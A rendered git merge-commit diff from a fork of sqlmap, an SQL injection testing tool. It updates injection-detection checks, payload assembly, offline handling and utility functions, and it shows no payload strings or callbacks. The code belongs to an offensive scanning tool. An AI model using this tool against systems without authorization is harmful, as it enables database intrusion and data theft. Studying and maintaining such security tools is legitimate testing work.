Merge pull request #2 from sqlmapproject/master

update
This commit is contained in:
cxh852456 2015-08-31 16:14:26 +08:00
commit 4224f1fd91
53 changed files with 707 additions and 417 deletions

View File

@ -45,6 +45,10 @@ def _win_wav_play(filename):
winsound.PlaySound(filename, winsound.SND_FILENAME) winsound.PlaySound(filename, winsound.SND_FILENAME)
def _linux_wav_play(filename): def _linux_wav_play(filename):
for _ in ("aplay", "paplay", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
return
import ctypes import ctypes
PA_STREAM_PLAYBACK = 1 PA_STREAM_PLAYBACK = 1

View File

@ -15,7 +15,6 @@ from subprocess import Popen as execute
from extra.beep.beep import beep from extra.beep.beep import beep
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import extractTextTagContent from lib.core.common import extractTextTagContent
@ -46,7 +45,6 @@ from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict from lib.core.datatype import InjectionDict
from lib.core.decorators import cachedmethod from lib.core.decorators import cachedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
@ -66,7 +64,6 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import LOWER_RATIO_BOUND
from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
from lib.core.settings import IDS_WAF_CHECK_RATIO from lib.core.settings import IDS_WAF_CHECK_RATIO
@ -90,6 +87,7 @@ def checkSqlInjection(place, parameter, value):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
tests = getSortedInjectionTests() tests = getSortedInjectionTests()
seenPayload = set()
while tests: while tests:
test = tests.pop(0) test = tests.pop(0)
@ -386,9 +384,17 @@ def checkSqlInjection(place, parameter, value):
# Forge request payload by prepending with boundary's # Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the # prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string # test's ' <payload><comment> ' string
if fstPayload:
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload:
if reqPayload in seenPayload:
continue
else:
seenPayload.add(reqPayload)
else:
reqPayload = None
# Perform the test's request and check whether or not the # Perform the test's request and check whether or not the
# payload was successful # payload was successful
@ -423,7 +429,7 @@ def checkSqlInjection(place, parameter, value):
trueResult = Request.queryPage(reqPayload, place, raise404=False) trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or "" truePage = threadData.lastComparisonPage or ""
if trueResult: if trueResult and not(truePage == falsePage and not kb.nullConnection):
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request # Perform the test's False request
@ -516,6 +522,17 @@ def checkSqlInjection(place, parameter, value):
infoMsg += "there is at least one other (potential) " infoMsg += "there is at least one other (potential) "
infoMsg += "technique found" infoMsg += "technique found"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
elif not injection.data:
_ = test.request.columns.split('-')[-1]
if _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N'
if kb.futileUnion is False:
continue
# Test for UNION query SQL injection # Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@ -532,7 +549,7 @@ def checkSqlInjection(place, parameter, value):
kb.previousMethod = method kb.previousMethod = method
if conf.dummy: if conf.dummy or conf.offline:
injectable = False injectable = False
# If the injection test was successful feed the injection # If the injection test was successful feed the injection
@ -706,7 +723,8 @@ def checkFalsePositives(injection):
retVal = injection retVal = injection
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data): if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection) pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place infoMsg = "checking if the injection point on %s " % injection.place
@ -994,11 +1012,15 @@ def checkStability():
like for instance string matching (--string). like for instance string matching (--string).
""" """
infoMsg = "testing if the target URL is stable. This can take a couple of seconds" infoMsg = "testing if the target URL is stable"
logger.info(infoMsg) logger.info(infoMsg)
firstPage = kb.originalPage # set inside checkConnection() firstPage = kb.originalPage # set inside checkConnection()
time.sleep(1)
delay = 1 - (time.time() - (kb.originalPageTime or 0))
delay = max(0, min(1, delay))
time.sleep(delay)
secondPage, _ = Request.queryPage(content=True, raise404=False) secondPage, _ = Request.queryPage(content=True, raise404=False)
if kb.redirectChoice: if kb.redirectChoice:
@ -1117,7 +1139,7 @@ def checkWaf():
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
""" """
if any((conf.string, conf.notString, conf.regexp)): if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline)):
return None return None
dbmMsg = "heuristically checking if the target is protected by " dbmMsg = "heuristically checking if the target is protected by "
@ -1227,10 +1249,10 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL" infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg) logger.info(infoMsg)
try:
pushValue(kb.pageCompress) pushValue(kb.pageCompress)
kb.pageCompress = False kb.pageCompress = False
try:
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
@ -1260,12 +1282,13 @@ def checkNullConnection():
errMsg = getUnicode(errMsg) errMsg = getUnicode(errMsg)
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
finally:
kb.pageCompress = popValue() kb.pageCompress = popValue()
return kb.nullConnection is not None return kb.nullConnection is not None
def checkConnection(suppressOutput=False): def checkConnection(suppressOutput=False):
if not any((conf.proxy, conf.tor, conf.dummy)): if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try: try:
debugMsg = "resolving hostname '%s'" % conf.hostname debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg) logger.debug(debugMsg)
@ -1275,14 +1298,15 @@ def checkConnection(suppressOutput=False):
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
except socket.error, ex: except socket.error, ex:
errMsg = "problem occurred while " errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex)) errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, ex.message)
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
if not suppressOutput and not conf.dummy: if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL" infoMsg = "testing connection to the target URL"
logger.info(infoMsg) logger.info(infoMsg)
try: try:
kb.originalPageTime = time.time()
page, _ = Request.queryPage(content=True, noteResponseTime=False) page, _ = Request.queryPage(content=True, noteResponseTime=False)
kb.originalPage = kb.pageTemplate = page kb.originalPage = kb.pageTemplate = page

View File

@ -155,8 +155,11 @@ def _formatInjection(inj):
return data return data
def _showInjections(): def _showInjections():
header = "sqlmap identified the following injection points with " if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount header += "a total of %d HTTP(s) requests" % kb.testQueryCount
else:
header = "sqlmap resumed the following injection point(s) from stored session"
if hasattr(conf, "api"): if hasattr(conf, "api"):
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
@ -427,6 +430,9 @@ def start():
if skip: if skip:
continue continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict: if place not in conf.paramDict:
continue continue
@ -495,6 +501,7 @@ def start():
kb.testedParams.add(paramKey) kb.testedParams.add(paramKey)
if testSqlInj: if testSqlInj:
try:
if place == PLACE.COOKIE: if place == PLACE.COOKIE:
pushValue(kb.mergeCookies) pushValue(kb.mergeCookies)
kb.mergeCookies = False kb.mergeCookies = False
@ -534,6 +541,7 @@ def start():
warnMsg += "injectable" warnMsg += "injectable"
logger.warn(warnMsg) logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE: if place == PLACE.COOKIE:
kb.mergeCookies = popValue() kb.mergeCookies = popValue()

View File

@ -79,7 +79,9 @@ class Agent(object):
retVal = "" retVal = ""
if where is None and isTechniqueAvailable(kb.technique): if kb.forceWhere:
where = kb.forceWhere
elif where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where where = kb.injection.data[kb.technique].where
if kb.injection.place is not None: if kb.injection.place is not None:
@ -174,7 +176,10 @@ class Agent(object):
while True: while True:
_ = re.search(r"\\g<([^>]+)>", repl) _ = re.search(r"\\g<([^>]+)>", repl)
if _: if _:
try:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError:
break
else: else:
break break
retVal = string[:match.start()] + repl + string[match.end():] retVal = string[:match.start()] + repl + string[match.end():]
@ -185,6 +190,7 @@ class Agent(object):
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
else: else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
if retVal == paramString and urlencode(parameter) != parameter: if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
@ -213,6 +219,9 @@ class Agent(object):
if conf.direct: if conf.direct:
return self.payloadDirect(expression) return self.payloadDirect(expression)
if expression is None:
return None
expression = self.cleanupPayload(expression) expression = self.cleanupPayload(expression)
expression = unescaper.escape(expression) expression = unescaper.escape(expression)
query = None query = None
@ -241,8 +250,7 @@ class Agent(object):
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " " query += " "
if query: query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
return query return query
@ -255,6 +263,9 @@ class Agent(object):
if conf.direct: if conf.direct:
return self.payloadDirect(expression) return self.payloadDirect(expression)
if expression is None:
return None
expression = self.cleanupPayload(expression) expression = self.cleanupPayload(expression)
# Take default values if None # Take default values if None

View File

@ -43,6 +43,7 @@ from xml.dom import minidom
from xml.sax import parse from xml.sax import parse
from xml.sax import SAXParseException from xml.sax import SAXParseException
from extra.beep.beep import beep
from extra.cloak.cloak import decloak from extra.cloak.cloak import decloak
from extra.safe2bin.safe2bin import safecharencode from extra.safe2bin.safe2bin import safecharencode
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
@ -97,7 +98,6 @@ from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DESCRIPTION
from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import DYNAMICITY_MARK_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import ERROR_PARSING_REGEXES
@ -134,9 +134,7 @@ from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
from lib.core.settings import REVISION
from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TEXT_TAG_REGEX
from lib.core.settings import TIME_STDEV_COEFF from lib.core.settings import TIME_STDEV_COEFF
@ -146,7 +144,6 @@ from lib.core.settings import URI_QUESTION_MARKER
from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_CHAR_LIMIT
from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import URLENCODE_FAILSAFE_CHARS
from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.utils.sqlalchemy import _sqlalchemy from lib.utils.sqlalchemy import _sqlalchemy
@ -864,6 +861,9 @@ def dataToDumpFile(dumpFile, data):
if "No space left" in getUnicode(ex): if "No space left" in getUnicode(ex):
errMsg = "no space left on output device" errMsg = "no space left on output device"
logger.error(errMsg) logger.error(errMsg)
elif "Permission denied" in getUnicode(ex):
errMsg = "permission denied when flushing dump data"
logger.error(errMsg)
else: else:
raise raise
@ -875,11 +875,11 @@ def dataToOutFile(filename, data):
retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
try: try:
with openFile(retVal, "wb") as f: with open(retVal, "w+b") as f:
f.write(data) f.write(data)
except IOError, ex: except IOError, ex:
errMsg = "something went wrong while trying to write " errMsg = "something went wrong while trying to write "
errMsg += "to the output file ('%s')" % ex errMsg += "to the output file ('%s')" % ex.message
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
return retVal return retVal
@ -935,6 +935,10 @@ def readInput(message, default=None, checkBatch=True):
retVal = default retVal = default
else: else:
logging._acquireLock() logging._acquireLock()
if conf.get("beep"):
beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True) dataToStdout("\r%s" % message, forceOutput=True, bold=True)
kb.prependFlag = False kb.prependFlag = False
@ -1027,7 +1031,7 @@ def checkFile(filename):
if valid: if valid:
try: try:
with open(filename, "rb") as f: with open(filename, "rb"):
pass pass
except: except:
valid = False valid = False
@ -1101,7 +1105,7 @@ def setPaths():
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
_ = os.path.join(os.path.expanduser("~"), ".sqlmap") _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
@ -1111,7 +1115,6 @@ def setPaths():
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(_, "github.hst") paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
@ -1583,9 +1586,10 @@ def safeExpandUser(filepath):
try: try:
retVal = os.path.expanduser(filepath) retVal = os.path.expanduser(filepath)
except UnicodeDecodeError: except UnicodeError:
_ = locale.getdefaultlocale() _ = locale.getdefaultlocale()
retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING))) encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING
retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding)
return retVal return retVal
@ -2115,7 +2119,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
elif isinstance(value, basestring): elif isinstance(value, basestring):
while True: while True:
try: try:
return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
except UnicodeDecodeError, ex: except UnicodeDecodeError, ex:
try: try:
return unicode(value, UNICODE_ENCODING) return unicode(value, UNICODE_ENCODING)
@ -2280,7 +2284,8 @@ def findMultipartPostBoundary(post):
candidates = [] candidates = []
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
_ = match.group(1) _ = match.group(1).strip().strip('-')
if _ in done: if _ in done:
continue continue
else: else:
@ -2481,7 +2486,11 @@ def extractTextTagContent(page):
[u'Title', u'foobar'] [u'Title', u'foobar']
""" """
page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "") page = page or ""
if REFLECTED_VALUE_MARKER in page:
page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page)
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
def trimAlphaNum(value): def trimAlphaNum(value):
@ -2575,7 +2584,7 @@ def findDynamicContent(firstPage, secondPage):
prefix = trimAlphaNum(prefix) prefix = trimAlphaNum(prefix)
suffix = trimAlphaNum(suffix) suffix = trimAlphaNum(suffix)
kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None)) kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
if len(kb.dynamicMarkings) > 0: if len(kb.dynamicMarkings) > 0:
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
@ -2594,11 +2603,11 @@ def removeDynamicContent(page):
if prefix is None and suffix is None: if prefix is None and suffix is None:
continue continue
elif prefix is None: elif prefix is None:
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page) page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
elif suffix is None: elif suffix is None:
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page) page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
else: else:
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page) page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
return page return page
@ -2936,7 +2945,7 @@ def unhandledExceptionMessage():
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM errMsg += "Operating system: %s\n" % PLATFORM
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv)) errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
@ -2978,7 +2987,7 @@ def createGithubIssue(errMsg, excMsg):
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
try: try:
f = urllib2.urlopen(req) f = urllib2.urlopen(req)
@ -3011,7 +3020,7 @@ def maskSensitiveData(msg):
retVal = getUnicode(msg) retVal = getUnicode(msg)
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
while extractRegexResult(regex, retVal): while extractRegexResult(regex, retVal):
value = extractRegexResult(regex, retVal) value = extractRegexResult(regex, retVal)
@ -3022,7 +3031,6 @@ def maskSensitiveData(msg):
if match: if match:
retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
if getpass.getuser(): if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal)
@ -3285,7 +3293,7 @@ def expandMnemonics(mnemonics, parser, args):
pointer = pointer.next[char] pointer = pointer.next[char]
pointer.current.append(option) pointer.current.append(option)
for mnemonic in mnemonics.split(','): for mnemonic in (mnemonics or "").split(','):
found = None found = None
name = mnemonic.split('=')[0].replace("-", "").strip() name = mnemonic.split('=')[0].replace("-", "").strip()
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
@ -3465,8 +3473,13 @@ def asciifyUrl(url, forceQuote=False):
netloc = ':' + password + netloc netloc = ':' + password + netloc
netloc = username + netloc netloc = username + netloc
if parts.port: try:
netloc += ':' + str(parts.port) port = parts.port
except:
port = None
if port:
netloc += ':' + str(port)
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
@ -3657,7 +3670,7 @@ def evaluateCode(code, variables=None):
except KeyboardInterrupt: except KeyboardInterrupt:
raise raise
except Exception, ex: except Exception, ex:
errMsg = "an error occurred while evaluating provided code ('%s'). " % ex errMsg = "an error occurred while evaluating provided code ('%s') " % ex.message
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def serializeObject(object_): def serializeObject(object_):
@ -3713,7 +3726,7 @@ def applyFunctionRecursively(value, function):
return retVal return retVal
def decodeHexValue(value): def decodeHexValue(value, raw=False):
""" """
Returns value decoded from DBMS specific hexadecimal representation Returns value decoded from DBMS specific hexadecimal representation
@ -3728,7 +3741,7 @@ def decodeHexValue(value):
if value and isinstance(value, basestring) and len(value) % 2 == 0: if value and isinstance(value, basestring) and len(value) % 2 == 0:
retVal = hexdecode(retVal) retVal = hexdecode(retVal)
if not kb.binaryField: if not kb.binaryField and not raw:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try: try:
retVal = retVal.decode("utf-16-le") retVal = retVal.decode("utf-16-le")
@ -3826,7 +3839,7 @@ def resetCookieJar(cookieJar):
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
for line in lines: for line in lines:
_ = line.split() _ = line.split("\t")
if len(_) == 7: if len(_) == 7:
_[4] = FORCE_COOKIE_EXPIRATION_TIME _[4] = FORCE_COOKIE_EXPIRATION_TIME
f.write("\n%s" % "\t".join(_)) f.write("\n%s" % "\t".join(_))

View File

@ -105,13 +105,22 @@ PGSQL_PRIVS = {
3: "catupd", 3: "catupd",
} }
# Reference(s): http://stackoverflow.com/a/17672504
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
